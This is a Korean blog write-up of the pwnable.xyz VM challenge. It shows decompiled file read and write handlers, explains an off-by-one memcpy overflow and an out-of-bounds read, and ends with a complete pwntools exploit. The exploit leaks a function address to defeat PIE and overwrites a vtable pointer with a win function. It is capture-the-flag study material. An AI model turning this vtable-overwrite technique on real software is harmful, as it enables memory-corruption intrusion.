이런 타입 (VM pwn) 문제를 처음 풀어보는 거라 시간이 좀 걸렸다. 문제는 꽤 재미있다. (특히 어셈블리 코드 쓰는 부분..)
이 문제에서는 사용자가 AMD64 어셈블리 코드를 unicorn engine 위에서 직접 실행할 수 있는데, 사용할 수 있는 syscall 주소는 read, write, open으로 제한되어 있다.
설명을 시작하기 전 먼저 File 구조체가 어떻게 생겼는지 짚어보기로 한다.
fd는 syscall의 리턴값 대신 전역변수 open_files를 통해 관리되고, path는 파일 경로, content는 파일 내용, size는 크기를 나타낸다.
파일 I/O 함수는 고정된 함수를 쓰지 않고 ops vtable 필드의 fops_read, fops_write로 사용한다. 파일 구조체를 초기화하는 do_open에서 fops_read, fops_write를 각각 file_read, file_write로 설정한다.
우선 취약점이 발생하는 부분은 여기다.
void __cdecl sys_write(uc_engine *uc)
{ uint64_t rdi_0; // [rsp+10h] [rbp-30h] uint64_t rsi_0; // [rsp+18h] [rbp-28h] uint64_t rdx_0; // [rsp+20h] [rbp-20h] uint64_t rax_0; // [rsp+28h] [rbp-18h] char *buf; // [rsp+30h] [rbp-10h] unsigned __int64 __canary; // [rsp+38h] [rbp-8h] __canary = __readfsqword(0x28u); rax_0 = -1LL; uc_reg_write(uc, UC_X86_REG_RAX, &rax_0); uc_reg_read(uc, UC_X86_REG_RDI, &rdi_0); uc_reg_read(uc, UC_X86_REG_RSI, &rsi_0); uc_reg_read(uc, UC_X86_REG_RDX, &rdx_0); buf = (char *)calloc(rdx_0, 1uLL); if ( buf && uc_mem_read(uc, rsi_0, buf, rdx_0) == UC_ERR_OK ) { rax_0 = do_write(rdi_0, buf, rdx_0); if ( rax_0 != -1LL ) { uc_reg_write(uc, UC_X86_REG_RAX, &rax_0); free(buf); } } } |
int __cdecl do_write(int fd, char *buffer, size_t size)
{ int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i < open_files; ++i ) { if ( files[i].fd == fd ) return files[i].ops.fops_write(&files[i], buffer, size); } return -1; } |
int __fastcall file_write(File *self, char *buffer, size_t size)
{ size_t _size; // [rsp+8h] [rbp-18h] _size = size; if ( self->size < size && size > 0x200 ) _size = 0x200LL; self->size = _size; memcpy(self->contents, buffer, _size + 1); return _size; } |
sys_write에서 메모리 값을 buf로 옮겨올 때 크기 값으로 사용되는 것은 rdx 레지스터 값이다. (=buf에는 원하는 길이의 문자열이 담긴다)
file_write의 buffer는 sys_write에서 할당받은 buf를 사용하고, _size는 어떤 조건을 거쳐서 최대 0x200의 값을 가지는데, memcpy에서 size에 _size+1이 들어가기 때문에 off-by-one overflow가 발생한다는 문제가 생긴다.
content 뒤에 있는 필드는 size이므로 size 값을 최대 0x2FF로 바꿀 수 있고, file_write의 size 정규화 허점으로 인해 0x2FF보다 작으면서 0x200보다 큰 값을 rdx에 넣어서 size와 ops 필드를 전부 건드릴 수 있다.
int __fastcall file_read(File *self, char *buffer, size_t size)
{ size_t _size; // [rsp+8h] [rbp-18h] _size = size; if ( self->size < size ) _size = self->size; memcpy(buffer, self->contents, _size); return _size; } |
file_read에서도 마찬가지로 rdx가 self->size보다 작을 때만 _size를 정규화하기 때문에, 이미 self->size가 충분히 크다면 OOB read를 할 수 있다.
바이너리에 PIE가 걸려 있기 때문에, size 필드를 조작하고 OOB read로 file_read 함수 주소를 가져오고, offset을 계산해서 win 주소를 ops.fops_read 위치에 넣고 read를 하면 된다. 아래 스크립트에도 주석으로 설명을 정리해 뒀다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
from pwn import *
import argparse # syscall functions: # int sys_read(int fd, char *buf, size_t size); # int sys_write(int fd, char *buf, size_t size); # int sys_open(char *path); # # exploit: # sys_open(path); # sys_write(3, data, 0x201); // files[3].size = 0x2FF # sys_read(3, leak, 0x210); // leak file_read addr # file_read = *(uint64_t *)(leak+0x208) # *(uint64_t *)(data+0x200) = 0x2FF # *(uint64_t *)(data+0x208) = file_read - 0x172B + 0x1610 // overwrite to win # sys_write(3, data, 0x210); # sys_read(3, data, 0x210); # # rodata: # path [0x800] : ./vuln # data [0x900] : \xFF * 0x201 # leak [0xC00] : 0 program = ''' lea r12, [rip+0x7F9] lea r13, [rip+0x8F2] lea r14, [rip+0xBEB] mov rdi, r12 call sys_open mov rdi, 3 mov rsi, r13 mov rdx, 0x201 call sys_write mov rsi, r14 mov rdx, 0x210 call sys_read mov qword ptr [r13+0x200], 0x2FF mov rbx, qword ptr [r14+0x208] sub rbx, 0x172B add rbx, 0x1610 mov qword ptr [r13+0x208], rbx mov rsi, r13 call sys_write call sys_read call terminate sys_read: mov rax, 0 syscall ret sys_write: mov rax, 1 syscall ret sys_open: mov rax, 2 syscall ret terminate: hlt ''' data = b'./vuln\x00'.ljust(0x100, b'\x00') + (b'\xFF'*0x201).ljust(0x300, b'\x00') + b'\x00' * 0x400 def exploit() : p.writelineafter(b'(y/n)\n', b'n') p.writeafter(b'program\n', asm(program).ljust(0x800, b'\x90') + data.ljust(0x800, b'\x00')) p.readuntil(b'vm\n') p.interactive() if __name__ == '__main__' : context.arch = 'amd64' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30044, fam='ipv4') else : p = process('./challenge') exploit() |
Last update: 5/22/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / note v4 (0) | 2020.05.30 |
---|---|
pwnable.xyz / fishing (0) | 2020.05.30 |
pwnable.xyz / knum (0) | 2020.05.22 |
pwnable.xyz / PvE (0) | 2020.05.12 |
pwnable.xyz / note v3 (0) | 2020.05.11 |